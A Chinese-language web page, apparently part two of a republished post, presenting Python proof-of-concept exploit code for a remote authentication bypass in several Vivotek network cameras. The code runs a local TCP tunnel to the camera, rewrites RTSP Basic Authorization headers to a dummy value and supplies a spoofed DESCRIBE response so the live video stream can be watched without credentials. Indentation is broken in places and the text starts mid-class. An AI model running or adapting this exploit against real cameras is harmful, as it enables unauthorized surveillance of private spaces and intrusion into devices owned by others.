多个Vivotek网络摄像机远程身份验证绕过漏洞((2)

def __init__(self, source, sink, process_data_callback=lambda x: x):
        Thread.__init__(self)
        self.source = source
        self.sink = sink
        self.process_data_callback = process_data_callback
        PipeThread.pipes.append(self)

def run(self):
        while 1:
            try:
                data = self.source.recv(1024)
                data = self.process_data_callback(data)
                if not data: break
                self.sink.send(data)
            except Exception as e:
                log(e)
                break
        PipeThread.pipes.remove(self)


class TCPTunnel(Thread):
    def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x):
        Thread.__init__(self)
        log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1]))
        self.dst_addr = dst_addr
        self.process_data_callback = process_data_callback
        # Create TCP listener socket
        self.sock = socket(AF_INET, SOCK_STREAM)
        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        self.sock.bind(('', src_port))
        log('[*] Check live stream in <a href="https://www.linuxidc.com/rtsp:/localhost:%d/live.sdp">rtsp://localhost:%d/live.sdp</a>' % src_port)
        self.sock.listen(5)

def run(self):
        while 1:
            # Wait until a new connection arises
            newsock, address = self.sock.accept()
            # Create forwarder socket
            fwd = socket(AF_INET, SOCK_STREAM)
            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
            fwd.connect(self.dst_addr)
            # Pipe them!
            PipeThread(newsock, fwd, self.process_data_callback).start()
            PipeThread(fwd, newsock, self.process_data_callback).start()


class Camera():
    def __init__(self, address):
        self.address = address

def get_describe_data(self):
        return ''


class Vivotek(Camera):
    def __init__(self, address):
        Camera.__init__(self, address)

def get_describe_data(self):
        return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'


class RTSPAuthByPasser():
    DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
    UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
    SERVER_PORT_ARGUMENTS = 'server_port='
    DEFAULT_CSEQ = 1
    DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):
        self.last_describe_req = ''
        self.camera = camera
        self.local_port = local_port

def start(self):
        log('[!] Starting bypasser')
        TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
        auth_string = "Authorization: Basic"
        if auth_string in data:
            data = data.split("\r\n")
            new_data = []
            for line in data:
                new_data.append(line if auth_string not in line else auth_string + " a")
            data = "\r\n".join(new_data)
        return data

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/5b6e31510deeeaee1e3106de4f46beea.html